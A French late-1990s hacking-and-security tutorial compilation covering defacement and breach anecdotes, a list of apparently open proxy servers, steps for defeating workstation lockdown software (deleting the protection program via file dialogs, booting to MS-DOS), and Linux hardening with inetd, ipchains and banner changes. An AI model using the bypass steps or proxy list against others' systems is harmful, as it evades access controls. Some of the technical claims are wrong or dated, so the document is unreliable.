- Une autre attaque de site web s'est produite le 5 mars 1997 où la page principale de la NASA (National Aeronautics and Space Administration) a été piratée et le contenu changé. Les hackers l'ont remplacée par une nouvelle page exprimant des critiques sur les institutions américaines. (Site web de la NASA: http://www.hq.nasa.gov)

- Pendant l'été 1996, des hackers se sont introduits sur le serveur web de l'US Justice Department en plaçant des croix gammées et des images d'Adolf Hitler qu'ils considérait au même titre que le département de la justice américaine. Ils voulaient protester contre la position du gouvernement américain à contrôler l'Internet.

Les principales attaques sont dirigées vers les institutions américaines dans lesquelles les pirates voient une proie intéressante pour discréditer le gouvernement américain. Toutefois, il est important de signaler que les médias qui relaient ce type d'information ne font pas suivre le message des pirates mais au contraire les font passer pour des délinquants. La valeur de leur message en est donc occulté contrairement aux exemples que nous allons voir ci-dessous.

- Le 10 février 1997 et encore le 14 février 1997, des hackers portugais ont lancé une attaque politique sur la page web du gouvernement indonésien en insistant que ce pays continuait une oppression sur le Timor Est. Ils voulaient attirer l'attention sur la nécessité de l'indépendance du peuple du Timor oppressé depuis des décades par le gouvernement d'Indonésie.

- Le site des fourrures Kriegsman fut attaqué en novembre 1996 par un activiste anti-fourrure. La nouvelle page bien évidemment ne promouvait pas cette entreprise.

Nous avons ici deux exemples de sites web piratés par des hackers pour défendre une cause. Le geste est le même que pour les exemples de la partie précédente mais la porté médiatique en est multipliée. Ce qui montre que la sécurité d'un site web n'est pas à prendre à la légère notamment pour les entreprises.

De nos jours, une grande majorité des serveurs Internet appartiennent aux entreprises. Beaucoup de compagnies en profite pour utiliser l'Internet comme réseau de transmission de données intra-entreprise. Il y a un grand nombre d'exemples de serveurs Internet d'entreprise hackés. Un bon exemple est le serveur de Boeing où il y a quelques années, deux collégiens étaient rentrés en effraction dans un des ordinateurs de la compagnie afin de rechercher des fichiers de mots de passe. De plus, Boeing a trouver l'évidence que les hackers ont obtenu l'accès "root" à la maison fédérale de Seattle. Le département de justice américaine avait dit que cela était une situation classique dans laquelle les pirates peuvent influer sur les coûts de production. En effet, les pirates ont très bien pu voler certains fichiers secrets et les distribuer sur l'Internet ou à des compagnies rivales. Après que le cas fut fini, il couta à Boeing 57.000 Dollars simplement pour vérifier l'intégrité de ses données d'avioniques. En réalité, le principal risque est le vol de données confidentielles, mais il y a aussi un autre risque, c'est le risque de données modifiées. En effet, le pirate peut très bien changer les données actuelles par de fausses. Alors, l'entreprise travaillerait avec des informations altérées et pourrait produire des résultats erronés sans s'en rendre compte. C'est pourquoi Boeing dépensa tant d'argent pour vérifier toute l'intégrité de ses données. Un autre exemple en 1987, une petite erreur comptable de 75 cents révella qu'un intrus s'était ouvert lui-même un compte dans le système informatique du laboratoire "Lawrence Berkeley". Les traces du compte provennait d'un programmeur d'Allemagne de l'est qui avait copié des documents des ordinateurs militaires attachés à MILNET (Le segment Internet réservé pour les utilisations militaires). Les documents furent vendus au KGB. Le groupe Gartner William Malik (Célèbre groupe d'avocats américains) affirme que un de ses clients, une très grande compagnie de produits manufacturés, a perdu 900 millions de dollars parce que un de ses concurrents avait pirater plusieurs ordinateurs de l'entreprise et avait tout appris sur ses projets.

Les exemples de cette sorte sont abondants dans le monde de l'Internet. Toutefois, un grand nombre d'attaques ne sont pas rapportées au public parce qu'elles pourraient porter atteinte à la compagnie ou bien parce qu'elles ne sont pas détectées par l'administrateur réseau de l'entreprise.

La sécurité des cartes de crédit est un des principaux enjeux de la sécurité sur Internet à cause de l'énorme potentiel de ce nouveau commerce mondial qui se développe à une vitesse impressionnante. Tout cela laisse évidemment une grande place à la fraude des cartes de crédit. Il y a un grand nombre de magasins virtuels sur l'Internet qui vendent des livres, des composants d'ordinateurs, des vêtements, etc ... Tous ces magasins virtuels utilisent la méthode de paiement par carte de crédit. Ce qui signifie que le consommateur envoie son numéro de carte de crédit au magasin virtuel qui alors débite le montant du compte bancaire propriétaire de la carte de crédit. Mais il y a deux problèmes. Premièrement, la transmission du numéro de carte de crédit peut être interceptée par une tierce personne sans l'accord, bien évidemment, ni du marchant et ni du consommateur. Deuxièmement, une majorité de ces sites commerciaux ne sont pas sécurisés. Même si la transmission du numéro de carte de crédit à travers l'Internet est sûr, les moyens de le stocker sur le serveur ne le sont pas forcément. Les fichiers de numéros de cartes de crédit dans la base de données d'une entreprise peuvent être piratés. Plusieurs compagnies spécialisées dans le commerce sur Internet ont déjà été hackées à la recherche des fichiers clients de numéros de carte de crédit. Par exemple, le fournisseur d'accès Internet Netcom de San Jose (Californie, USA) en a déjà subit les conséquences. Et le célèbre hacker Kevin Mitnick avait volé environ 17.000 numéros de cartes de crédit avant de se faire capturer par des détectives hi-tech. Pendant que le commerce sur l'Internet devient un marché de plusieurs centaines de millions de francs, cela devient aussi une grande problématique en terme de sécurité pour les échanges commerciaux entre les clients et les marchants.

Les serveurs fournissants des services basés sur le protocole TCP (WWW, email, newsgroup, gopher, telnet, etc ...) à la communauté Internet peuvent devenir incapable de fournir ses services lorsqu'ils sont sous le coup d'une attaque et même pendant un certain temps après cette dernière. Le service en lui même n'est pas endommagé par l'attaque; généralement seulement la capacité à fournir ce service est mis hors service. Dans certains cas, le système va jusqu'à épuiser toutes ses ressources mémoire, crasher ou sinon devenir inopérant. Ces attaques bloquent le système temporairement, donc durant ce temps inutilisé, la compagnie propriétaire du système peut perdre de l'argent notamment si le service proposé est un service de vente par Internet.

On croise sans cesse des textes fournissant des listes de proxys. Une rumeur bien stupide s'est fondée sur les proxys: beaucoup s'imaginent actuellement (surtout les lamahs), qu'un proxy permet de spoofer.

Explications techniques lorsqu'une liaison s'établit vers un serveur distant:

Une connexion s'établit toujours de client vers serveur. Chaque connection est bi-directionnelle. Lorsqu'une demande de connection est lancée vers un serveur, le serveur répond avec son autorisation ou non, et une demande de connection sur vous. Puis encore une requête pour commencer l'échange de packets est envoyée vers le serveur. Pour établir une connection qui marche, le serveur doit se connecter à vous (adresse phisyqes, internets...). Passer par un proxy ne change rien au fait que vous utilisez toujours le même ISP, et donc avez toujours une IP founie par cet ISP. Le proxy peut à la limite servir de firewall (filtrage de packets entrant ou sortant selon sa configuration), donc un internaute pourrait ne pas réussir à vous tracer ou vous pinger. Mais cela ne change rien. Le seul problème de sécurité que pose ainsi un proxy est, qu'en passant à travers plusieurs proxys (il suffit d'établir des connections en reconfigurant le nécessaire), si l'on cherche à vous retracer, cela deviendrait difficile mais pas impossible.

AE Emirates.Net proxy.emirates.net.ae/proxy.pac - AUTOCONFIG
AR Broggio gopher.broggio.com.ar 80 HTTP/FTP
AT Tecan www-proxy.tecan.co.at 8080 HTTP/FTP
AU TAS www2.transport.tas.gov.au 80 HTTP/FTP
AU Schools proxy.schools.net.au 3128 HTTP/FTP
BR CTelecom proxy.cybertelecom.com.br 8080 HTTP/FTP
BR Overnet vectra.overnet.com.br 3128 HTTP/FTP
CA Csjlor www.csjlor.qc.ca 8080 HTTP/FTP
CA Clasalle acces.clasalle.qc.ca 8080 HTTP/FTP
CH Cern web-cache-2.cern.ch 8080 HTTP/FTP
CH UniSg sigma.unisg.ch 3128 HTTP/FTP
CO Compunet proxy.compunet.net.co 3128 HTTP/FTP
CZ Cuni hamster.ms.mff.cuni.cz 8080 HTTP/FTP GOPHER / WAIS SECURITY
CZ Vutbr lyn.zlin.vutbr.cz 8080 HTTP/FTP
COM RR proxye1-atm.maine.rr.com 8080 HTTP/FTP
COM McMail proxy.mcmail.com 8080 HTTP/FTP
COM Ludexpress yogsothoth.ludexpress.com 8080 HTTP/FTP
DE HtwkL zeus.rz.htwk-leipzig.de 80 HTTP/FTP GOPHER
DE Siemens ramses.erlm.siemens.de 80 HTTP/FTP
DE U-Rb. rrznw6.rz.uni-regensburg.de 8080 HTTP/FTP
EDU Berkeley smorgasbord.ICSI.Berkeley.EDU 8080 HTTP/FTP
EDU PurdueNC Brahma.CC.PurdueNC.Edu 8080 HTTP/FTP
FI Inet proxy.inet.fi 800 HTTP/FTP
FI TPU proxy.cs.tpu.fi 80 HTTP/FTP
FR AC ppar.ac-bordeaux.fr 8080 HTTP/FTP
GOV Dgs wall-14.dgs.ca.gov 80 HTTP/FTP
IT TO www.focos.to.it 3128 HTTP/FTP
IT Lcnet mail.lcnet.it 8080 HTTP/FTP
JP K-K lip.kobe-kosen.ac.jp 8080 HTTP/FTP
JP Fukuoka kusu.city.kurume.fukuoka.jp 8080 HTTP/FTP
KR Kyunghee cvs2.kyunghee.ac.kr 8080 HTTP/FTP
KR Taegu biho.taegu.ac.kr 8080 HTTP/FTP
MIL Dla cani.dla.mil 8080 HTTP/FTP
MIL OSD pgwcm.otd.osd.mil 80 HTTP/FTP
MIL Navy gatekeeper.jag.navy.mil 80 HTTP/FTP
MIL USMC gate1.yuma.usmc.mil 80 HTTP/FTP
NET Deltacom cacheflow1.deltacom.net 8080 HTTP/FTP
NET Coqui proxy.coqui.net 80 HTTP/FTP
NL Nhtv proxy.nhtv.nl 8080 HTTP/FTP
NL Tebenet www.tebenet.nl 8080 HTTP/FTP
ORG Londonderry www.londonderry.org 8080 HTTP/FTP
ORG Aclin aclin.org 8080 HTTP/FTP
PH EMC ascaris.emc.com.ph 8888 HTTP/FTP
PH Info mail2.info.com.ph 3128 HTTP/FTP
PT Isec leonardo.isec.pt 8080 HTTP/FTP
PT Teleweb caclis01.teleweb.pt 3128 HTTP/FTP
PY Infonet ns1.infonet.com.py 8080 HTTP/FTP
QA Qatarnet proxy.qatar.net.qa 8080 HTTP/FTP
SE Varnamo ns.varnamo.se 8080 HTTP/FTP
TR Turnet proxy1.turnet.net.tr 8080 HTTP
TR Turnet proxy2.turnet.net.tr 8080 HTTP
TW IS c1.h202052106.is.net.tw 80 HTTP/FTP
TW Golden club.golden.com.tw 8080 HTTP/FTP
UK Ondemand cache1.ondemand.co.uk 8080 HTTP/FTP
UK LUT double-panic.lut.ac.uk 8080 HTTP/FTP
US K12 stpauls.pvt.k12.al.us 8080 HTTP/FTP
US Oh websense.gcpl.lib.oh.us 8080 HTTP/FTP
ZA New cache.new.co.za 8080 HTTP/FTP
ZA Global cache02.global.co.za 3128 HTTP/FTP
ZW Cybergate proxy.cybergate.co.zw 8080 HTTP/FTP
ZW Africaonline proxy.africaonline.co.zw 8080 HTTP/FTP

Pour commencer à sécuriser un réseau connecté à l'internet (donc réseau local relié au net), il faut d'abord le sécuriser en tant que réseau local: c'est-à-dire que des protections doivent être mises en oeuvre pour éviter qu'un utilisateur de ce réseau ne fasse des manoeuvres dangereuses, éxécute des virus ou des trojans, que ce soit intentionnel ou inintentionnel. Le problème des virus et trojan est déjà traité dans les autres tutoriaux, donc on va traiter des erreurs de manipulations ou attaques voulues, de l'intérieur du réseau.

Le premier danger est le fait qu'un utilisateur puisse avoir accès à chaque poste en réseau (dont le serveur), depuis un seul poste. Mettez alors des restrictions (exemple: sous Windows, partagez les répertoires avec accès en mot de passe, ou accès limité), ou mieux: des programmes qui mettes des restrictions qui SEMBLENT incassables. Il existe donc de nombreux programmes qui empêche un utilisateur d'avoir les icones sur le bureau, d'accéder à l'explorateur windows, etc... Mais en réflechissant bien, il y a foule de moyens d'accéder à la session administrateur (le programme ne met plus de restrictions): soit en effaçant complètement le programme, ses .dll, ou en trouvant le pass.

La première solution requeirt un minimum d'accès à certains programmes, si vous pouvez accéder à:- Wordpad: demandez à ouvrir un fichier, non pas .txt ou .doc, mais en *.* recherchez le programme sécurisant le pc, effacez tout.- Dans le menu Démarrer, Executer: tapez C: ou D: selon le lecteur mis en cause- IE, Netscape navigator: dans la barre blanche ou l'on met l'adresse url tapez: C:, ou mieux: Poste de travail. Faites attention car à partir du poste de travail on peut agir sur TOUT! - Arretez l'ordinateur et demandez à le faire redémarrer en Mode MS-DOS: à partir de là, vous pouvez accéder à tout, sans restrictions. - Des outils graphiques: au lieu de rechercher à ouvrir un format d'image précis, cherchez en *.* et amusez vous. - Winzip, ou autres: faites dans Winzip, File - Open Archives et ouvrez en *.* - etc... Il y a foule de programmes avec lesquels on peut casser une sécurité.

La deuxième solution requiert à l'utilisateur d'avoir un minimum d'infos sur l'utilisateur, ou encore de trouver les fichiers sensibles (par exemple: il existe des fichiers d'aide -accessibles même en restricted acces grâce aux moyens présentés ci dessus- qui, si on a perdu le mot de passe, explique comment le retrouver!!). Il n'y a pas de réelles solutions dans ce cas là, sauf mettre un pass au BIOS (qui peut toujours se cracker, selon différentes méthodes mais qui demandent du temps), ce qui rebutera même les plus avertis.

En conclusion, ce tutorial est trop court pour réellement vous montrer toutes les façons de vous protéger, mais il est récapitulatif de ce que vous devez savoir pour minimiser les risques de piratage. En réalité, expliquer en profondeur comment sécuriser un réseau (protections par firewalls, savoir connecter quel routeur sur quel proxy, etc...), est BEAUCOUP trop long, et je pense que de toute façon il n'y a pas beaucoup d'administreur réseaux qui vont lire ce tutorial, sauf s'ils sont vraiment passionnés par le sujet.

Linux est assez fondammentalement différent de Windows et si vous l'avez installé vous avez du vous en rendre compte à la première utilisation. Sous Windows vous vous munissez d'un bouffetroyen, patchez le port 139 pour éviter le nuke et le tour est joué. Si vous avez installé des serveur http u ftp tel servU ou autre vous devrez vous juste les paramètrer ou installer un Firewall mais tout ceci est très simple et très transparent vu les rares ports ouverts sur windows 9X à la base. Pour ce qui est de Windows NT (déjà beaucoup plus orienté réseau même pour le NT workstation) vous devrez vous pencher plus sur les probème de sécurité mais ce sera pour un autre article car ici c'est de Linux dont on va parler.

Je vais partir du fait que vous êtes un utilisateur de base et que vous n'avez pas besoin de lunix pour le travail ou pour placer quoi que ce soit en réseaux ou besoin d'un système multi utilisateur autre que pour vous même. En partant de se principe il va falloir fermer le plus de ports possibles et éviter d'installer les applications connues pour être buggées ou sources de de trou de sécurité si elles sont mals paramètrée. Moi je vous conseillerais de les installer pour mieux comprendre comment elles fonctionnent mais en therme de sécurité c'est une mauvaise idée. En effet installer NIS, NFS et Samba (en réseau seulement) est une mauvaise idée au point de vue de la sécuritée.

Bien sûr au moment de l'installation on va vous demander ce que vous voulez comme installation et vous ne savez pas les programmes contenus dans chacun de ces choix et moi non plus rassurez vous juste approximativement et beaucoup trop approximaivement pour que cela soit d'une quelconque utilité par la suite. Par contre si l'on vous demande explicitement si vous voulez installer NFS et NIS dites non haut et fort. Maintenant vous vous retrouvez devant un Linux qui a énormément de secrets pour vous et vous ne savez sûrement pas comment le sécuriser parfaitement. Je pars du fait que vous avez une connection internet par Linux sinon ce n'est pas la peine de continuer de lire cet article.
Au départ vous n'avez qu'un compte root alors vous allez creer un compte simple user, pour cela loguez vous en root et faite :
adduser jb34 (je donne jb34 parce que c'est moi mais vous vous le changerez par ce que vous voudrez)
puis vous créez un password pour ce compte en faisant :
passwd jb34
La on vous demandera de tapper le password deux fois pour être bien sûr que vous ne vous êtes pas trompé et vous allez mettre le mot de pass le plus dur ue vous trouviez et que vous soyez sûr de vous rappeler. Evitez donc un mot d'un dictionnaire ou votre nom de famille ou pire, le même mot que le login. Evitez aussi les mot de pass bateau tel que test, admin, user, games, passwd, password, login... De plus il est préférable que le password soit composé de lettres majuscule, minuscule, de chiffres et de caractères ASCII pour donner beaucoup plus de peine au cracker de brute force au cas où quelqu'un réussirait à trouver un de vos login ou pire à mettre la main sur votre fichier passwd. L'interêt de créer un account user est de ne se connecter à internet ou à un quelconque autre réseau que sur cet account. Si vous aviez des modifications à faire que seul le root peut faire il serait toujours temps de faire un "su root" puis d'entrer le password du root pour revenir au statut de root. Ces précautions permettent que si un Hacker trouve une faille sur votre système il n'arrive qu'à se connecter qu'en tant que simple et non en temps que root directement.
Ceci étant fait on va maintenant se connecter à internet pour chopper un scanner digne de ce nom : nmap.
Vous le trouverez sur unsecure (www.unsecure.org). Vous téléchargez donc nmap au formap rpm si vous avez une redhat ou au format tgz si vous avez une autre distribution.
Sous redhat faite: rpm -i nmap.rpm (le fichier ne s'appellera pas nmap.rpm mais c'est juste pour illuster)
Sous une autre distribution de linux faites: tar -zxvf nmap.tgz (cela le decompressera) puis installez le.
Il se peut après que le programme nmap se trouve dans /usr/local/bin. si c'set le cas mettez le dans /bin ou /sbin ce qui creera une commande nmap cela vous evitera d'aller dans /usr/local/bin et de taper ./nmap.. à chaque fois puisque vous n'aurez plus qu'à taper nmap... où que vous soyez.
Une fois qu'il est installé vous allez le lancer sur votre ip. Il n'est bien sûr pas nécéssaire d'être connecté pour voir quels ports sont ouvert sur votres bécanne, un simple nmap -O 127.0.0.1 scannera vos ports. Vous devriez savoir dans les secondes qui suivent quels sont vos ports ouvert et si c'est votre première installation de linux vous risquez d'en avoir un paquet d'ouvert. Alors on va comencer par le commencement: le démon inetd. Ce démon à été crée pour faciliter la tache des administarteurs système car il permet assez simplement d'ouvrir ou de fermer pas mal de port dont pas mal que vous connaissez tel (telnet, ftp, tftp, finger...). Le seul point négatif que je pourrais octroyer à ce démon c'est que chaque modification que vous y apportez demande un reboot pour être éffective. C'est sûrement un sécurité pour éviter qu'on ouvre un telnet si on a déjà un acces ftp sur un bécane pour nous éviter de se procurer un shell (n'est ce pas Gazzzton ;-). Bref c'est chiant main on fera avec. Le fichier où l'on peut ouvrir et fermer les ports sous la tutelle du démon inetd se trouve dans /etc et s'appelle inetd.conf. Vous l'éditez par exemple en faisant un "vi inetd.conf" (sacré vi tu m'en aura fait baver avec tes commandes illogiques au possible).
Apparté sur les commandes vi :
dd supprime une ligne avec tout ce qu'il y a marqué dessus
x supprime un caractère
i insère un caractère
escape permet de sortir d'un mode comme le mode insersion par exemple
:q permet de quitter sans sauvegarder
:wq permet de quitter en sauvegardant
Fin de l'apparté.

Bon maintenant vous allez voir un certain nombre de lignes. Chaque ligne correspond à un port. S'il y a un # devant la ligne cela veut dire que le port est fermé. et si vous l'enlever vous ouvrez le port comme quoi cela pouvait difficilement être plus simple d'utilisation (une fois n'est pas coutume =). Vous fermez donc tous les ports hormis le auth qui sert dans dans irc par exemple et dans d'autres applications que je ne connais pas enfin bref vous ne le fermez pas. Moi je préfère avoir le telnet et le ftp ouvert sur ma bécane car cela sert toujours mais vous pourrez penser ca absurde vu tout ce que vous avez du entendre sur eux. Moi je vous conseil cependant de les laisser ouvert car si vous en avez besoin n'oubliez pas que vous serez obligé de rebooter. Je vous expliquerais plus tard comment les protéger et/ou les cammoufler =). Maintenant que vous avez édité inetd.conf et que vous l'avez modifié et enregistré vous allez voir si les modifications que vous avez faites en rebootant puis en lancant nmap. Une fois ceci fait si vous avez encore des ports comme le finger ouvert c'est que vous n'avez pas enregistré correctement mais cela ne devrait pas se passer.

Maintenant on va s'attaquer aux autres ports, ceux qui ne sont pas controlé par le démon inetd et qui malgré tout sont ouvert chez vous et ne vous faites pas d'illusions, ce sera le cas. Pour les fermer c'est très simple en fait mais le probème est qu'ils se réouvriront à chaque reboot ce qui est quand même génant. Les programmes qui ouvrent ces ports sont lancé au démarrage de Linux il va donc falloir aller dans le dossier où se trouvent une grande partie des programmes qui se lancent au demmarrage et qui utilisent des ports. Ce dossier c'est /etc/rc.d/init.d et dednas ce trouvent souvent une douzaine de programme mais cela varie bien sûr en fonction des applications que vous avez choisi delancer au démarrage. Pour que ces programes ne se lancent pas au démarrage il vous suffira de déplacer ces programmes mais ne les supprimez pas ils peuvent toujours servir. Par exemple le porgramme /etc/rc.d/init.d/sendmail lance le demon sendmail (pour le courrier) et souvent c'est une grande faille dans un système il y a tellement d'exploits sur les démons sendmail qu'il vaut mieux les désactiver surtout qu'ils ne vous serviront pas à grand chose.
Comme on ne va pas le supprimer on va par exemple le mettre dans un dossier que l'on va appeler demarrage dans /root. Pour cela il va faloir vous loguer en root si ce n'est déjà fait puis faite:
cd /../root/
mkdir demarrage
cd /
mv /etc/rc.d/init.D/sendmail /root/demarrage
et voilà le démon sendmail ne se lancera pas au prochain reboot mais il est pour l'instant encore actif. pour le desactiver soit vous rebootez soit vous allez dans le dossier où vous venez de le mettre et vous faites "./sendmail stop" ou "killall sendmail" au choix. Et c'est à peu près pareil pour tous les programmes présents dans init.d cependant il y a quelques programmes présents dans ce dossier qu'il ne faut pas arrêter saous peinde problèmes, jamais grave, mais qui entraineront un reboot.
C'est le cas de gpm par exemple qui désactive la sourie. essayez "./gpm stop" et vous allez rigoler.
Je vous détaille tout dans le tableau ci dessous :
Les programmes à fermer :

Nom des programmes : Ports fermés : Numéro des ports : Manière de les fermer : Manière de les rouvrir :
named domain 53 ./named stop ./named start
lpd printer ./lpd stop ./lpd start
innd nntp ./innd stop ./innd start
smb netbios-ssn 139 ./smb stop ./smb start
ypbind nis ./ypbind stop ./ypbind start
nfs nfs 604,1002,1023,1024 ./nfs stop ./nfs start
crond fhc ./crond stop ./crond start
xfs msl_lmd ./xfs stop ./xfs start
snmpd subfiledbg ./snmpd stop ./snmpd start
portmap rpc 111 killall portmap ./portmap start
sendmail sendmail 25 killall sendmail ./sendmail start
httpd http 80 ./httpd stop ./httpd start
Les programmes à ne surtout pas fermer ou lancer :

Noms des programmes : Conséquences : Manière d'y remedier :
mars-nwe Cela ouvre le port bgpd (....) reboot
single Cela fait clignoter votre écran, vous ne pouvez plus rien faire reboot
gpm Vous ne pouvez plus bouger votre sourie (vive le mode texte ;-) reboot ou ./gpm start
network Cela désactive les IPv4 ce qui a pour effet de ralentir le flaux de données ./network start
routed Active RIR et ouvre le port nms (1429) reboot
atd Ouvre le port dec-notes (3333) reboot
killall Déscative tous les programmes de init.d avec toutes les conséquences liées reboot
Je dis qu'ils sont à ne surtout pas fermer, c'est vrai pour certain que vous aurez reconnu d'après les conséquences mais si vous fermez ou lancez des programmes commes atd ou routed ce n'est pas grave mais au point de vue sécurité ce n'est pas top sachant que moins vous avez de ports ouverts moins vous risquez quelque chose. mais rien ne vous empèche d'essayer pour voir. Comment croyez vous que j'ai découvert tout ça?

Il y a cependants des programmes comme nfs qui s'ils sont de base lancés au démarrage et même une fois enlevé de init.d ouvrent tout de même un port vous pourrez d'ailleur vérifier ça avec nmap. Et oui le port 1024 (nfs) restera ouvert et donc vous devrez le fermer en allant dans le dossier que vous avez crée dans /root et faire ./nfs stop et là vous verez que sur les 5 ports que contrôle nfs, 4 ne se fermeront pas (et oui puisqu'ils sont déjà fermé) et que le dernier lui se fermera. Il y a un moyen de la fermer directement au demarrage si vous connaissez la programmation de scipts UNIX mais cal donnera lieu à un autre article.
Maintenant on va passer aux quelques ports restant. C'ertains d'entre aux ne seront pas à fermer comme le X11 par exemple. En effet ce port est utile si vous avez Xwindow. Le fermer pourra entrainer des erreurs alors laissez le ouvert ou passez en mode texte =)
Maintenant s'il vous reste des ports ouvert dont je n'ai pas parlé c'est parce que je n'ai pas ce problème sur ma bécane mais si c'était le cas comme avec les port iad, iad2 et iad3 par exemple et bien on va faire appel au Firewall. On ne sait pas à quoi ces ports servent, on ne sait pas quelles applications les utilisent, personne n'est capable de vous renseigner et dans les bouquins et sur internet ce n'est pas marqué alors on va juste les bloquer en entrée pour éviter les intrusion mais surtout pas en sortie pour éviter les problèmes dus à ca filtrage. Il y a plusieurs manières de paramètrer un FW. Il y a la méthode qui consisite à en acheter un dans le commerce ou à le trouver sur internet et de préférence gratuit mais si vous n'êtes pas sûr de la source cela peut être en faite une backdoor ce qui serait dommage. Deuxièmes solution, compiler le noyau en activant les options de filtrage. Ca c'est expliqué clairement dans le frhack 1 si je me souviens bien alors comme je n'ai pas envie de revenir dessus je vous renvois la bas. la dernière solution est de paramètrer un firewall en ajoutant une ligne de commande au fichier rc.local qui se trouve dans /etc/rc.d. En fait plus qu'une ligne on en mettra une par port à fermer et cette ligne se compose de la manière suivante :
ipchains -A input -p tcp -j DENY --destination-port numéro_du_port -i nom_de_la_connection
Pour que vous compreniez mieux cette ligne je vais faire un exemple. Par exemple si vous voulez fermer le port 1024 (nfs) qui nous embarrassait tout à l'heure car il restait ouvert même après l'enlèvement du fichier nfs de /init.d vous allez écire dans rc.local :
ipchains -A input -p tcp -j DENY --destination-port 1024 -i ppp0
Ici votre connection s'appelle ppp0 mais si celle que vous avez paramètré s'appelle ppp1 ou autre ou que vous êtes sur un réseau local vous écrirez le nom de votre connection. Logiquement vous devriez la connaître car vous l'avez crée quand vous avez créer une connection à internet ou autre. Si vous ne vous en souvenez plus ou que ce n'est pas vous qui l'avez paramètré vous allez taper ifconfig en mode console. Vous verrez des caractères s'afficher en deus parties. Au début de chaque partie vous verez le nom de la connection. Dans la première partir le nom de la connection internet et dans la deuxième le nom de cla connection intranet. Voyez sur quoi vous voulez placer le filtrage et inscrivez le bon nom deconnection en conséquance.
Bien sûr si le port que vous voulez filtrer n'utilise pas le protocole tcp mais udp, vous remplacerez tcp dans la ligne ipchains par le protocole que le port utilise.
Cette ligne doit se trouver complétement en bas du chichier rc.local, juste après le dernier fi. Une fois ceci fait vous sauvegardez et vous rebootez. Pour vérifier si vos port sont bien filtré vous ne pourrez pas le faire vous même avec nmap car il faut que vos ports soient scannés de l'extérieur vu que le filtrage se fait de l'extérieur vers l'intérieur. Demandez donc à un de vos potes qui a linux de la faire (merci de ne pas me le demander à moi ;-) mais de toute façcon même si vous ne vous ne pouvez pas le tester ne vous inquiétez pas il n'y a aucune raison que cela ne marche pas.

Une fois que tous les ports indésirable sont filtrés nous allons passez au camouflage du telnet et du ftp. En effet le filtrage que je vous ai expliqué plus tôt est un filtrage complet qui refuse sytématiquement tout envoit de paquet de l'extérieur donc si vous filtrez telnet et ftp de cette manière autant les fermer directement avec le démon inetd. Donc il ne faut pas filtrer telnet et ftp du manière aussi définitve et comme vous ne saurez pas quel pote vous aurez envie de faire entrer dans votre bécane un jour et donc vous ne connaîtrez pas non plus son provider nous n'allons pas utiliser des filtrage moins puissant qui n'autorise que certaines ip car cela ne servirait à rien. Alors comment cammoufler ces ports? Parce que vous êtes bien d'accord que si vous scannez un serveur vous ne vous interesserez pas aux ports que vous ne connaissez pas et qui se perdent entre les 30000 et 60000 mais plutôt aux ports dits privilégiés (ports<1024) alors nous allons tout simplement changer les lignes ftp et telnet du fichier inetd.conf de manière à reporter ces ports (initiallement 21 et 23) en 52000 et 52001 vu que ces ports ne sont presque jamais utilisés et qu'aucun conflit ne pourra alors survenir.
- Donc pour mettre le port ftp sur le port 52000 vous allez vous mettre en mode console et vous allez faire:
in.ftpd localhost:52000
(localhost est le nom de votre bécane et est donc à remplacer par assassin si votre bécane s'appelle assassin)
- Et pour mettre le port telnet sur le port 52001 vous allez écire ceci toujours en mode console :
in.telnetd localhost:52001

Et comme vous avez lu et compris ce que j'ai marqué au dessus vous devez vous douter que pour activer les changement et surtout parce qu'ils ont été fait dans inetd.conf il va falloir rebooter. Une fois ceci fait vous allez vérifier si les changement ont bien été enregistré en essayant nmap sur vous et là vous n'aurez pas les mêmes probèmes que pour le firewal. Vous pourrez donc bien vérifier par vous même les changements apportés.
Maintenant imaginons que vous ayez à faire à un hacker qui n'ai pas un très bon scanner de ports ou qui se fie pour savoir quelle version d'un démon gère un port à la banniere qui apparait à la connection, nous allons pouvoir le mettre sur une fausse route en changeant cette banniere. Je m'explique. Quand vous vous connectez au ftp d'un server ou à un telnet ou à l'inporte quel port ayant un service tournant dessus demandant un login, vous voyez souvent s'afficher le nom et la version du programme qui permet l'acces ou encore le nom de l'entreprise ou bien encore le mail de l'administrateur système ou un message de bienvenu. C'est ça la bannière. N'utilisant pas d'habitude de scanner qui donne la version du ftp ou du telnet (...) je me fies bien souvent à la banniere et une très grande majorité des hackers font comme moi donc modifier celle-ci sera source de gène aux eventuels assaillants d'où l'interet de la changer. Et ce pour chaque port ouvert demandant un login. Ceci pourra empècher des exploits ou des buffer overflow de fonctionner car ils auront été choici en fonction de la version et donc du code source du programme.
Pour changer une bannière je vous montre comment faire :
Pour Telnet :
Vous allez changer le contenu des fichiers issue et issue.net contenus dans /etc avec vi. Ce que vous marquerez dans ces fchiers s'affichera quand vous ou tout autre personne extérieur ou non à votre bécane lancera un telnet sur celle ci.
Pour FTP :
Ici tout dépends du serveur FTP que vous avez alors plutôt que de détailler la manière de changer la bannière de chaque serveur FTP je vous conseillerais plutôt de lancer un telnet sur vous pour connaitre votre serveur FTP puis de lancer une recherche sur tous les fichiers contenant ce nom en faisant un locate (ex: locate*wu*). Ensuite vous ouvrirez chacun des fichiers trouvés et si l'un deux contient le texte que vous avez vu précédement en faisant un Ftp 127.0.0.1, vous le remplacerez par le texte de votre choix et celui ci devrait s'afficher après que vous ayez sauvegardé le fichier quand vous relancerez un ftp sur vous.

Vous avez entendu parler des exploits bien entendu et bien c'est à cela que nous allons nous interresser maintenant vu que les bugs entrainant des failles de sécurité sont nombreux même si plus la distribution de Linux est récente moins vous avez de chance que de tels bugs ait encore été découvert. Mais pour éviter qu'un intru chopent un shell (accès en telnet) sur votre bécane ou ne devienne root via cette bécane. Alors on va partir à la recherche de patch pour certain bugs de sécurité et pour cela vous allez aller sur unsecure (www.unsecure.org) ou sur rootshell (www.rootshell.org) et voir tous les exploits disponibles sur votre OS ainsi que sur les programmes que vous avez dans votre Linux et les démons y tournant (telnet, ftp, sendmail...). Ceci nécéssite de bien connaitre le contenu de votre bécane mais c'est toujours la base de tout, dans le hacking comme dans la protection réseau. Dans chaque exploit découvert il y a une explication approfondit et souvent une adresse d'où trouver un patch ou un explication de comment retirer le bug ou de comment éviter qu'on l'exploite. Suivez ces consignes à la lettre pour tous les exploits découverts. Je sais c'est fastidieux et cela vous prendra surement plusieurs heures mais vous aurez un système presque 100% étanche. Il faudra cependant aller voir régulièrement dans ces mêmes sites si de nouveau bugs n'ont pas été trouvé et patcher votre sytème en conséquence. Ceci est vrai surtout pour les distributions récentes car si au départ peu de bugs sont découverts, d'autres seront forcement trouvés car les distributions récentes ne sont pas moins buggés que les autres.

